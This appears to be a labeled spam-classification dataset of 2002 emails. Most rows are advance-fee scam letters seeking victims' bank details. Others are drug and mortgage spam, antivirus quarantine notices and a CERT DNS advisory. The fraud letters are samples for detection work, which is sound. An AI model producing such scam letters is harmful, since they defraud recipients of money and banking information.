CONTRACT COST HAVE BEEN PAID TO THE ORIGINAL CONTRACTOR, LEAVING THE BALANCE IN THE TUNE OF THE SAID AMOUNT WHICH WE HAVE GOTTEN APPROVAL TO REMIT BY TELEGRAPHIC TRANSFER (TT) TO FOREIGN BANK ACCOUNT. YOU WILL PROVIDE BY FILING IN AN APPLICATION THROUGH MY MINISTRY FOR THE TRANSFER OF RIGHT AND PRIVILEGES OF THE FORMER CONTRACTOR TO YOU SINCE THE PRESENT NEW CIVILIAN GOVERNMENT OF MY COUNTRY IS DETERMINED TO PAY EVERY FOREIGN CONTRACTOR ALL DEBIT OWED, SO AS TO MAINTAIN GOOD RELATIONSHIP WITH FOREIGN GOVERNMENT AND NON-GOVERNMENT FINANCIAL AGENCIES. WE HAVE DECIDED TO INCLUDE OUR BILL FOR APPROVALS WITH THE COOPERATION OF SOME OFFICIALS FROM THE GOVERNMENT MINISTRY, WHICH WILL BE INVOLVED IN THE PAYMENT PROCESS. WE ARE SEEKING YOUR ASSISTANCE IN PROVIDING A VITAL ACCOUNT INTO WHICH WE CAN REMIT THIS MONEY BY ACTING AS OUR MAIN PARTNER AND TRUSTEE OR ACTING AS THE ORIGINAL CONTRACTOR. THIS, WE CAN DO BY SWAPPING OF ACCOUNT AND CHANGING OF BENEFICIARY AND OTHER FORM OF DOCUMENTATION UPON APPLICATION FOR CLAIM TO REFLECT THE PAYMENT AND APPROVALS TO BE SECURED ON BEHALF OF YOU. THIS TRANSACTION IS BEING AN UNDERSTANDING WITH THE PRINCIPAL TRUSTEE OF THE ORIGINAL CONTRACTOR AND WITH THE CONSENT OF THE ORIGINAL CONTRACTOR. I HAVE THE AUTHORITY OF MY PARTNERS INVOLVED TO PROPOSE THAT, SHOULD YOU BE WILLING TO ASSIST US IN THE TRANSACTION. YOUR SHARE OF THE FUND WILL BE 30% OF THE TOTAL SUM, 60% FOR US AND 10% FOR TAXATION AND MISCELLANEOUS EXPENSES. THIS BUSINESS IS 100% SAFE ON YOUR PART, BUT YOU HAVE TO KEEP IT CONFIDENTIAL. YOUR AREA OF SPECIALIZATION IS NOT A HINDRANCE TO THE SUCCESSFUL EXECUTION OF THIS TRANSACTION. I HAVE REPOSED MY CONFIDENCE IN YOU AND HOPE THAT YOU WILL NOT ISAPPOINT ME. PLEASE FOR EFFECTIVE COMMUNICATION, CONTACT ME ON MY EMAIL ADDRESS, AS YOU INDICATE YOUR WILLINGNESS IN ASSISTING US SO THAT I WILL DIRECT YOU WHAT NEXT TO DO. PLEASE INCLUDE YOUR DIRECT TEL/FAX NUMBER FOR SECURITY REASONS AND EFFECTIVE COMMUNICATION. THANKS FOR YOUR ANTICIPATED ASSISTANCE. YOURS SINCERELY, DR. USMAN BELLO. PH.D., FCA (DIRECTOR-PROJECT IMPLEMENTATION NNPC). ",1,0 Suleman Abu ,tex-fonts@tug.org,"Tue, 06 Aug 2002 02:22:23 -0000",STRAIN REQUEST FOR YOUR UNRESERVED ASSISTANCE,"MFROM: DR. Suleman Abu BANK MANAGER (UNION BANK OF NIGERIA PLC) ARINA LAGOS EMAIL;suleman_abu@lycos.com ATENTION PLAESE STRAIN REQUEST FOR YOUR UNRESERVED ASSISTANCE Firstly, I must solicit your confidence in this transaction, this is by virtue of its nature as being utterly confidential and top secret. Though I know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that all will be well at the end of the day.We have decided to contact you due to the urgency of this transaction, as we have been reliably informed of it's swiftness and confidentiality. Let me start by first introducing myself properly to you. I am DR. Suleman Abu a Manager at the Union Bank Nigeria PLC, Lagos. I came to know of you in my private search for a reliable and reputable person to handle a very confidential transaction,which involves the transfer of a huge sum of money to a foreign account requiring maximum confidence. A foreigner, Late Engineer William Adams, an oil Merchant /contractor with the federal Government of Nigeria, until his death three years ago in a ghastly air crash, banked with us here at the Union Bank PLC ,Lagos, and had a closing balance of USD$22.2M (Twenty-Two Million, Two Hundred Thousand United States Dollars) which the bank now unquestionably expects to be claimed by any of his available foreign next of kin or alternatively be donated to a discredited trust fund for arms and ammunition at a military war collage here in Nigeria. Fervent valuable efforts are being made by the Union Bank to get in touch with any of late Engr. William Adams's next of kin (he had no known wife and children) that the management under the influence of our chairman, board of directors, Retired Major General Kalu Uke Kalu, that an arrangement for the fund to be declared ""UNCLIAMABLE "" and then be subsequently donated to the trust fund for Arms and Ammunition, which will further enhance the course of war in Africa and the world in general. In order to avert this negative development, myself and some of my trusted colleagues in the bank now seek for your permission to have you stand as late Engr.WILLIAMS ADAMSs next of kin so that the fund, USD$22.2M, would be subsequently transferred and paid into your bank account as the beneficiary next of kin. All documents and proves to enable you get this fund have been carefully worked out and we are assuring you a 100% risk free involvement. Your share would be 30% of the total amount. 10% has been set aside for expenses, while the rest would be for myself and mycolleagues for purposes in your country. If this proposal is OK by you and you do not wish to take advantage of the trust we hope to bestow on you and your company, then kindly get to me immediately via my e-mail address furnishing me with your most confidential telephone, fax and e-mail, so that I can forward to you the relevant details of this ransaction. Thank you in advance for your anticipated co-operation. Regards. DR Suleman Abu ",1,0 """ENGR. GEORGE OMURA IGE"" ",tex-fonts@tug.org,"Mon, 05 Aug 2002 02:09:04 -0000",URGENT BUSINESS RELATIONSHIP,"ENGR. GEORGE ORUMA IGE Date: 5th August, 2002 Attn: CHIEF EXECUTIVE OFFICER Sir, URGENT BUSINESS TRANSACTION I got your contact from the Library of the Nigerian National Petroleum Corporation (NNPC), and somehow I feel that we can both handle this transaction in good fate to our overwhelming benefit. May I start by introducing myself, I am ENGR. GEORGE ORUMA IGE, the son of CHIEF BOLA IGE the former Minister for Mines and Power and presently the Minister for Justice and later shot dead on 23rd December, 2001. I work with National Electric Power Authority (NEPA) of Nigeria, I am presently the General Technical Manager and also Chairman of the Contract Award Committee of my parastatal. When my father was the Minister for Mines and Power he received a staggering amount of One Hundred twenty million United States Dollars only (US$120,000,000.00) from the Presidency for the turn-around maintenance of all Hydro Energy Station and a few Sub-station in the country. He tactically hid away the sum of Thirty-five million United States Dollars (US$35,000,000.00) in a suspense account with the Central Bank of Nigeria (CBN), this fund was clearly labelled “A Contractor’s Payment”. This he did before he moved to Ministry of Justice and later assacinated him. Now that my father safely in his new Ministry, he has given me a go ahead to get a reliable and reputable foreigner that will assist me in receiving the fund in his account as the original contractor that has to be paid. He said this is my inheritance from him and that he will have nothing to do with it, more so, now that we have a young democracy all eyes are on the office holders. One begins to wonder why I can not go aboard, open an account and have the money transferred there all by myself as this of course could have assured utmost confidentiality of the transaction. I can not, because I am Civil Servant and the laws of the Federal Republic of Nigeria forbids any serving Civil Servant maintaining foreign account(s). Secondly, I can not resign my appointment in order to handle this transaction as an independent businessman, because I can not monitor this transfer effectively from outside my office. Thirdly, the fund in question has been embarked “A Contractor’s Payment”, therefore, the supposed foreign contractor must be presented before the fund can be legally paid. Fourthly, my contacting you is born out of the fact that I need a foreign company/person with a strong capital base to hold this huge amount (US$35,000,000.00) in trust, otherwise eye brows could be raised if it is paid into a lesser account. In transferring this money into your account, it is my considered opinion that you get 30% of the total sum, 10% shall be set aside to take care of all expenses, and 60% shall be kept in your account till I come over to your country to invest it with your guidance. For a smooth sail of this transaction, a masterpiece plan has been put in place to the effect that the whole operation will take twenty-one working days to drive it to a successful or logical conclusion. (I mean to remit the fund into your nominated account ). A contract number from a contract that has been concluded and the contractor paid in full has been reasign to this fund, which means that we now have an authentic contract number to work with. Every paper/file in connection with this transaction shall be carefully withdrawn from all offices concerned, after the money must have been safely remitted into your account, thus leaving no trace of the fund. However, you should treat this business with utmost confidentiality, as I and my father do not want anything to jeopardise our position in the office. If you are interested in this transaction, I expect you to contact me through my E-mail address: to enable me instruct you on what to do as well as furnish you with further details. All I needed from you are the following:- YOUR BANK PARTICULARS THE NAME OF THE BANK AND ADDRESS THE ROUTING NUMBER AND SORT CODE THE TELEPHONE AND FAX NUMBERS OF THE BANK THE ACCOUNT NUMBER YOUR COMPANY PHONE AND FAX AND YOUR PERSONAL PHONE AND FAX FOR EASY COMMUNICATION ALSO YOUR FULL ADDRESS TO REACH YOU. Awaiting to hear from you as soon as you finish reading the message. Yours faithfully, ENGR. GEORGE ORUMA IGE ",1,0 System Attendant ,"""'tex-fonts@math.utah.edu'"" ","Tue, 06 Aug 2002 08:36:41 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = IETro@ahdkme.n-anvrd Recipient(s) = tex-fonts@math.utah.edu Subject = So cool a flash,enjoy it Scanning Time = 08/06/2002 08:36:40 Engine/Pattern = 6.150-1001/333 Action on message: The attachment color.scr matched file blocking settings. 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",0,0 System Attendant ,"""'tex-font@math.utah.edu'"" ","Tue, 06 Aug 2002 09:24:27 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = dextended@aol.com Recipient(s) = tex-font@math.utah.edu Subject = SCROLLING Scanning Time = 08/06/2002 09:24:27 Engine/Pattern = 6.150-1001/333 Action on message: The attachment Rv.scr matched file blocking settings. ScanMail has taken the Moved action. The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\Rv3d4fdc1b21.scr_. Warning to recipient. ScanMail has detected a virus. ",1,0 Pgw3985@aol.com,Lesson Study Listserv ,"Tue, 06 Aug 2002 09:45:10 -0400",collective Efficacy and Lesson Study,"I am Phyllis Wilkerson, a graduate student at Regent University. I am seeking information related to research studies on collective efficacy related to lesson study. --- Please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: http://www.tc.columbia.edu/lessonstudy/discussionforums.html. For further instructions on using this listserv (including how to subscribe), please visit: http://www.tc.columbia.edu/lessonstudy/listserv.html. ",0,1 leon memel ,XXX@XXXXXXXX.XXXXXXX.XXX,"Tue, 06 Aug 2002 20:04:53 +0200",Consent," FROM LEON MEMEL WOOD RESEARCHER AND WOOD TECHNOLOGIST TELEPHONE: 0022507924496 DATE: 06/08/2002 ATTN:SIR, SUBJECT: APPLICATION FOR A CO-PARTNER Greetings. Having for some time past searching for one that could help me out of my present need hence the application. I am Leon Memel, the son of the late Djobo Memel. He was a wood researcher and wood technologist.He was into the production of panels for use in housing and furniture industries made from locally sourced binders; Wood cement particle board production from wood and cement; Production of particle board from agricultural residues such as cotton stalk, maize stalk, elephant grass, rice stalk and eupatorium; Production of ceiling board and roofing sheets from 100% locally sourced raw materials especially sawdust and the use of wood as wall and floor tiles. As a wood researcher and wood technologist I would want to know if you could assist me to come over to your country for further studies and eventual investment into the ereas of my specialization.I would also want to know if you could assist me to come over with the fund that my late father made out for me, US$10 million, hence his advice on foreign investment. Should you be willing to accomodate me on this,please let me know on what terms. I count on your assistance. Yours Sincerely, Leon Memel. ______________________________________________________________________ Scarica il nuovo Yahoo! Messenger: con webcam, nuove faccine e tante altre novità. http://it.yahoo.com/mail_it/foot/?http://it.messenger.yahoo.com/ ",1,1 Kevin S Toledo ,tex-fonts@math.utah.edu,"Tue, 06 Aug 2002 09:44:35 -0500",hi,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! 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Platinum member: kate22hrny want to contact you age: 22 wants: phone/email/icq love, straight love c0ntact kate22hrny here ""But meanwhile what about poor Mr Tumnus?"" said Lucy.",1,1 ,,,,"by dblast07.bates.daq (8.11.6/8.11.6) with ESMTP id g76LtwA18745         for ; Tue, 6 Aug 2002 17:55:58 -0400 X-Authentication-Warning: dblast07.bates.daq: blast owned process doing -bs Date: Tue, 6 Aug 2002 17:55:57 -0400 (EDT) From: BLAST Project X-X-Sender: blast@dblast07.bates.daq To: imailsrv@rocko.lns.mit.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII subscribe Blast_Coda BLAST PROJECT --g7BMooh28434.1029106371/dblast07.bates.daq-- Next message: Aaron Joseph Maschinot: ""[BLAST_ANAWARE] Monte Carlo usage -- updating the code"" Previous message: Tancredi Botto: ""Re: [BLAST_ANAWARE] same side coincidences"" In reply to: Hauke Kolster: ""[BLASTTALK] 8/5/02 ABS tune-up/commissioning"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ] This archive was generated by hypermail 2.1.2 : Tue May 23 2006 - 18:27:53 EDT",0,1 Kamara Juliet ,julietkamara001@centrum.cz,"Wed, 07 Aug 2002 07:41:45 +0200",From Juliet,"FROM JULIET KAMARA Dearest one, Please pray before reading my mail for the result of undersatnding and truth of my proposal.I am Juliet Kamara, the only dauther of late Chief Vincent Kamara, from Sierra Leone. My sources of your contact gave me the courage and confidence to rely on you. I am writing you in absolute confidence primarily to seek your assistance to transfer our money of Nine million five hundred thousand dollars ($9,500,000) deposited in the custody of a bank here in Abidjan to your private account pending our rival to your country. Source of the money. My late father, chief Vincent Kamara, a native of mende district in the Northern province of Sierra Leone, was the general Manager of Sierra Leone mining co-operation (S.L.M.C.) According to my father, This money was the income accrued from mining co-operation over draft and minor sales Before the peak of the civil war between the rebels forces of major Paul Ko romah and the combined forces of ecomog peace keeping operation that almost destroyed my country, following the forceful removal from power of the Civilian Elected President Ahmed Tejan Kabbah by the rebels. My father had already made arrangement for his family, my mother and myself to be evacuated to Abidjan, Cote d'Ivoire with our personal effects. My father deposited the fund for the safe custody until after the war when he will join us. During the war in my country, and following the indiscriminate looting of public and Government properties by the rebel forces, the sierra Leone mining coop. Was one of the targets looted and killed My father including other top Government functionaries Were attacked and killed by the rebels because of his relationship with the civilian Government of Ahmed Tejan Kabbah. As a result of my father's death, and with the news of my uncles involvement in air crash, dashed our hope of survival. The untimely deaths cause d my mothers heart failure and other related complications of which she later died in the hospital After we must have spent a lot of money on her. Now i am alone in this strange country suffering without any care or help. Without any relation, i am now like refugee sandorphans, My only hope now is in this fund which my father deposited in the BANK. To this effect, I humbly solicit your assistance in the followings ways. To assist me transfer this money out of this country so all what i needed from you is to furnish me with your banking information and your persoanl contact so that i will go and submit it to the bank in order to effect the transfer on your destin ated bank account and also make a good arrangement for a joint business investment on my behalf in your country, secure a collage for my self in your country to further my education which i stoped during the war. And to make arrangement for my travel w i th you to your country after you have transferred this fund. Most importantly. The whole documents issued to my late father during the deposit is with me. I beg to concede 15 % of this money to you for your efforts assistance. Best regards. Juliet Kamara. ",1,0 Roger ,ggilfoyl@facstaff.richmond.edu,"Wed, 07 Aug 2002 01:45:53 -0600",����� �ϳ��� �׳�� ������������.,"PGh0bWw+DQo8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJvcmRlcj0wPg0K PFRSPg0KPFREPjxhIGhyZWY9aHR0cDovL2NkYnV5Lm5lMS5uZXQgdGFyZ2V0PV9ibGFuaz48 aW1nIHNyYz1odHRwOi8vJTYybG9nJTY2JTY5JTZjJTY1LiU3MGFyYSU2ZS4lNjNvbS9CTE9H XzM1NzU2OC8yMDA2MDQvMTE0NDI1NTU0NV92aWExLmdpZiBib3JkZXI9MD48L2E+PC90ZD4N CjwvVFI+DQo8dHI+DQo8dGQ+PGEgaHJlZj1odHRwOi8vY2RidXkubmUxLm5ldCB0YXJnZXQ9 X2JsYW5rPri7wMwgx8q/5CC++L3AtM+02S4guvG+xrHXtvMsIL6+vsu4rr26LCC/qby6waYg yO+60MGmLiDAz7TcIMWsuK/Hz7y8v+Q8L2E+PC90ZD48L3RyPg0KPC9UQUJMRT4NCjwvYm9k eT4NCjwvaHRtbD4NCg== ",1,0 ,,,,"] helo=mail.nitros2.org) by finger.striker.ottawa.on.ca with esmtp (ago 3.35 #1 (obstinate)) id 927nlc-0082MM-00 for ; Wed, 7 Aug 2002 04:34:19 -0700 Message-Id: X-Sender: eiplor@epps108.freeserve.co.uk Date: Wed, 7 Aug 2002 16:37:19 +0500 From: ""Lyman Whalen"" To: tex-font@csc-sun.math.utah.edu Subject: How do you think it works? -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://555brush.info doomsday sheep gull leucine amende conciliatory scarborough shouldn't powdery hyaline siltation crosscut line pyrimidine abigail lyman chalkline carolina krakatoa important buttercup toothbrush areaway burglarproof denouement groundwork heterogamous cobalt blast formatting catchword annoy lumpur holt bedrock anthology bolster divisor certain elmhurst putnam cytosine mosaic chrysanthemum silly iliac directrices perennial depose differential graph dialysis psycho will",1,1 Idris ,tex-fonts@tug.org,"Sat, 05 Jan 1980 17:57:31 -0000",I NEED YOUR HELP,"Date:August 7,2002. Email:idris1000@pebbles.com To your Good Attention My name is Mr. Idris A.Alameyah. I was a director in ministry of Land and Natural Resources in the Western Saharan Republic. My country is of about 10 million people,very happy and rich but developing. I have an offer to make to you which will benefit both of us. Through the award of contracts to three German Companies in three years, I was able to make US$55 million. Due to the small size of my country, if this fund is injected into the economy, it will instantly attract suspicion so I decided to use a foreigner to secure it out of Western Sahara. I have properly rendered and closed the accounts for the three years last December of 2001 and so the US$55 Million is safely mine now. The money is secured in two separate ways of US$25m and US$30m. Due to our poor banking system here I want you to assist me to secure the funds for me in Europe. You will have to travel to the European nation, which I will later tell you and secure the funds for me. For this assistance, I will give you US$10million. The rest will be mine and you will also help me in investing it in real estates and other profitable businesses. This transaction is planned to be concluded quickly. I will give you the necessary documentations to claim ownership of the money on my behalf. The documentations will officially legalize the transaction in your name so that it will be completely safe for both of us. I am also aware of the attention large movement of funds attract now since the September 11th 2001 attack on New York, so I will provide you with Clearance Certificate. Once again, I assure you it is going to be a risk free transaction. Once I get your response, I will give you further information/details of how we are going to quickly and safely conclude the transaction and start investments. I await your response through my above e-mail address. Best regards, Mr.Idris A.Alameyah ",1,0 Antigen,tex-fonts@sunshine.math.utah.edu,"Thu, 08 Aug 2002 12:28:04 +0200",Antigen Notification:Antigen found FILE FILTER= *.pif file,"Antigen for Exchange found align.pif matching FILE FILTER= *.pif file filter. The file is currently Removed. The message, ""DESCRIPTION END "", was sent from wbnolen and was discovered in SMTP Messages\\Outbound located at MOBITEL.SI/MOBITEL0/MOBI-MAIL2. ",1,0 System Attendant ,"""'tex-fonts@math.utah.edu'"" ","Thu, 08 Aug 2002 05:44:55 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = wbnolen@worldnet.att.net Recipient(s) = tex-fonts@math.utah.edu Subject = DESCRIPTION END Scanning Time = 08/08/2002 05:44:54 Engine/Pattern = 6.150-1001/333 Action on message: The attachment align.pif matched file blocking settings. ScanMail has taken the Moved action. The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\align3d524ba52f.pif_. Warning to recipient. ScanMail has detected a virus. ",1,0 System Attendant ,"""'tex-fonts@math.utah.edu'"" ","Thu, 08 Aug 2002 05:44:54 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = tex-fonts@tug.org Recipient(s) = tex-fonts@math.utah.edu Subject = Fw:tex-fonts,your password Scanning Time = 08/08/2002 05:44:53 Engine/Pattern = 6.150-1001/333 Action on message: The attachment product[1].scr matched file blocking settings. ScanMail has taken the Moved action. The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\product[1]3d524ba42e.scr_. Warning to recipient. ScanMail has detected a virus. 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The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\Part 3d52570431.exe_. Warning to recipient. ScanMail has detected a virus. ",1,0 System Attendant ,"""'tex-font@math.utah.edu'"" ","Thu, 08 Aug 2002 06:33:25 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = root@infovore.xs4all.nl Recipient(s) = tex-font@math.utah.edu Subject = Of Legislation Scanning Time = 08/08/2002 06:33:25 Engine/Pattern = 6.150-1001/333 Action on message: The attachment Part .bat matched file blocking settings. ScanMail has taken the Moved action. The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\Part 3d52570532.bat_. Warning to recipient. ScanMail has detected a virus. ",1,0 ,,,,"] helo=mail.nitros2.org) by finger.striker.ottawa.on.ca with esmtp (ago 3.35 #1 (obstinate)) id 927nlc-0082MM-00 for ; Sun, 11 Aug 2002 17:01:58 -0700 Message-Id: X-Sender: eiplor@epps108.freeserve.co.uk Date: Mon, 12 Aug 2002 05:04:58 +0500 From: ""Lyman Whalen"" To: tex-font@csc-sun.math.utah.edu Subject: How do you think it works? -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://555brush.info doomsday sheep gull leucine amende conciliatory scarborough shouldn't powdery hyaline siltation crosscut line pyrimidine abigail lyman chalkline carolina krakatoa important buttercup toothbrush areaway burglarproof denouement groundwork heterogamous cobalt blast formatting catchword annoy lumpur holt bedrock anthology bolster divisor certain elmhurst putnam cytosine mosaic chrysanthemum silly iliac directrices perennial depose differential graph dialysis psycho will",1,1 """McGinnis, Suzanne"" ","""Stefanovski, Sasko"" , ""Littlepage, Bob"" , ""Gilfoyle, Gerard"" ","Wed, 14 Aug 2002 13:01:55 -0400",meeting,"Hello Dr. Gilfoyle-- We have hired Sasko Stefanovski as our new Linux/Unix support person and we were hoping that we could all get together and meet soon to determine your needs before Dr. Vineyard leaves. When would be a good time for you to meet with us? thank you! sue ___________________________________ Suzanne McGinnis Academic Technology Consultant University of Richmond (p) 804-289-8258 (f) 804-287-1887 smcginni@richmond.edu ",0,0 John ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 26 Aug 2002 02:14:24 +0200",Your Re-finance Application confirmation,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://dsm0rt.com Don't worry about approval, your credit will not disqualify you! Sincerely, John Approval Manager ",1,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Tue, 27 Aug 2002 09:31:05 -0400","RE: [Fwd: Scientific Computing news -- August 9, 2002 (fwd)]","Dr. Gilfoyle, I just started building the compiler. BTW after I finish with the compoiler and the debbuger, I want to update the version of ssh. You have installed openssh-2.9p2-1, which is way to old. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Monday, August 26, 2002 2:58 PM To: Sashak Stafanovski Subject: [Fwd: Scientific Computing news -- August 9, 2002 (fwd)] Hi Sashak, Attached is an email from Luminita Tudor with the details on the compiler upgrade. If you could upgrade them as described in her email, we would appreciate it. Let me know when you make the change in case we run into any problems with the new compilers. cheers, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ",'Luminita Todor' ,"Tue, 27 Aug 2002 13:00:00 -0400",RE: Physics JLAB related computing needs," GCC-3.0.4 is installed under /usr/local. The old gcc has not been deleted. To use the new one, please add the /usr/local/bin in your PATH environment variable before /usr/bin. Additionally you might need to specify -L/usr/local/lib to link against the new libraries. If you do not have problem with the new gcc, we could wipe-off the old one, and install GCC-3.0.4 under /usr, but this is not necessary step. Sasko -----Original Message----- From: Luminita Todor [mailto:luminita@jlab.org] Sent: Tuesday, August 27, 2002 10:52 AM To: Stefanovski, Sasko Subject: RE: Physics JLAB related computing needs Great let me know when gcc.3.0.4 is read. I will then try to update the CLAS software on the Linux cluster here. I don't need to be physically here to do it. So just e-mail me. Cheers, Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538 ",0,0 Xerox Network Printers ,ggilfoyl@richmond.edu,"Tue, 27 Aug 2002 13:28:50 -0700",Welcome,"Welcome Gerard, Xerox office printers are renowned for their cutting-edge technology and constant innovation. Our award-winning full-line of Xerox Phaser® color and black & white printers continue to lead the pack. So to keep you up-to-date on all that's happening, we'll send you occasional messages with news about our latest products, new features, and great special offers. You'll be among the first to hear about printers that set the standard for quality, speed, and the revolutionary new technology that makes it possible. Plus, you'll receive money-saving offers that make it easier to bring new levels of efficiency and productivity into your workplace. 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Specifically, some malicious DNS responses can be cached, reconstructed, and passed on to systems that may have vulnerable DNS resolver libraries. For the most current information, including which systems are affected and vendor statements, please see the documents listed at the end of this message. The following change was made to section III. of CA-2002-19: ====================================================================== III. Solution Upgrade to a corrected version of the DNS resolver libraries [no change] Use of a local caching DNS server is not an effective workaround When this advisory was initially published, it was thought that a caching DNS server that reconstructs DNS responses would prevent malicious code from reaching systems with vulnerable resolver libraries. This workaround is not sufficient. It does not prevent some DNS responses that contain malicious code from reaching clients, whether or not the responses are reconstructed by a local caching DNS server. DNS responses containing code that is capable of exploiting the vulnerabilities described in VU#803539 and VU#542971 can be cached and reconstructed before being transmitted to clients. Since the server may cache the responses, the malicious code could persist until the server's cache is purged or the entries expire. The only complete solution to this problem is to upgrade to a corrected version of the DNS resolver libraries as noted above. ====================================================================== The following documents have been revised: CERT Advisory CA-2002-19 http://www.cert.org/advisories/CA-2002-19.html Vulnerability Note VU#803539 http://www.kb.cert.org/vuls/id/803539 Vulnerability Note VU#542971 http://www.kb.cert.org/vuls/id/542971 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iQCVAwUBPWwncKCVPMXQI2HJAQKyqwP+NByjCM2eHhboD9L5PIrDTVs6eXv0qFcG zc8Hv1j/7I9I7oK4JwJUKLO83DvLxsEyCd+ooV32eBSw4UFsh+vbZz9On9XkDApf f6VRPIyKNBAQp8p1x+LpuH5Q1qIVMXBo1Y6NtiwAcn/WnTDq8McGSqCrMV+NRChI EfhhbZqnW6s= =yEmz -----END PGP SIGNATURE----- ",0,1 fatou_nsak201@SAFe-mail.net,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 29 Aug 2002 09:33:30 -0500",URGENT BUSINESS ASSISTANCE NEEDED,"541 RUE DE OCAM CRESENT. LOME TOGO, WEST AFRICA. PERSONAL AND STRICTLY CONFIDENTIAL DEAR N. Christopher Phillips, 1 am Mrs. FATOU NSAKKA Ivorien widow with an only son DANIEL NSAKKA. My husband was the chief security officer to the ousted President Henry BEDIE of Cote d'voire.During the over throw of 24th December 1999, my husband was among the people that were killed by the military. Since after his death, I ran away with my only son, I do hereby wish to ask for your assistance in urgent business transaction that requires absolute honesty and secrecy. Although I did not in any way disclose to my friend the details of this my proposal due to confidential nature of this transaction. By virtue of my husband's position. The former President(BEDIE)gave him US 20.000.000.00 Dollars(Twenty million US dollars) cash in US100.00 dollars bill stacked in a box when he got information that the militaries were planning to over throw him. Immediately my husband was confirmed dead, I made away with this box with my only son so that we can not be reached by Mr BEDIE. I have really been waiting for a more suitable time and opportunity to contact you concerning this transaction. Right now,the money is in a safe place, I deposited it with a security company for safe keeping. I am using this opportunity to seek for your assistance to move this money to your country, to be invested on behalf of my only son. For this business to be concluded immediately, all you need to do is to arrange to meet with me and my son where this box is been lodged, open an account in your name, pay in the whole money after clearing and transferring it to your chosen account. We can't do that on our own because we don't have account else where, moreover, we don't have any business to cover-up that is why we needed your assistance. I am ready to offer you 30% of the total sum and give you the full power to manage the remaining 70% on behalf of my son. Contact my son DANIEL NSAKKA where we are currently staying in a sister's house in LOME-TOGO. This money we deposited it in the best security company in LOME-TOGO. Upon conclusion of arrangement, we shall forward to you the certificate of deposit, and the phone and fax number of the security company for confirmation immediately you receive this e-mail message or contact me through this TELEHPONE NUMBER:00228 913 17 83. Please I want us to finish this business as quickly as possible. Yours faithfully, FATOU NSAKKA. ",1,0 wang@rbs.org,Lesson Study Listserv ,"Thu, 29 Aug 2002 16:37:47 -0400",Lesson Study Handbook by Catherine Lewis now available from RBS,"Hello, Lesson Study: A Handbook of Teacher-Led Instructional Change by Catherine Lewis is now available from Research for Better Schools at an introductory price of $19.99 through December 31, 2002. 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",0,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" , ""Luminita Todor (E-mail)"" , ""Vineyard, Michael"" ","Thu, 29 Aug 2002 16:58:13 -0400",GDB 5.2.1,"Hi, GDB 5.2.1 debuger has been installed under /usr/local. You can access the debuger with /usr/local/bin/gdb, or you can put /usr/local/bin in front of your path variable if you want this to be your default debugger. Sasko ",0,0 CERT Advisory ,cert-advisory@cert.org,"Fri, 30 Aug 2002 17:44:48 -0400",CERT Summary CS-2002-03," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2002-03 August 30, 2002 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes 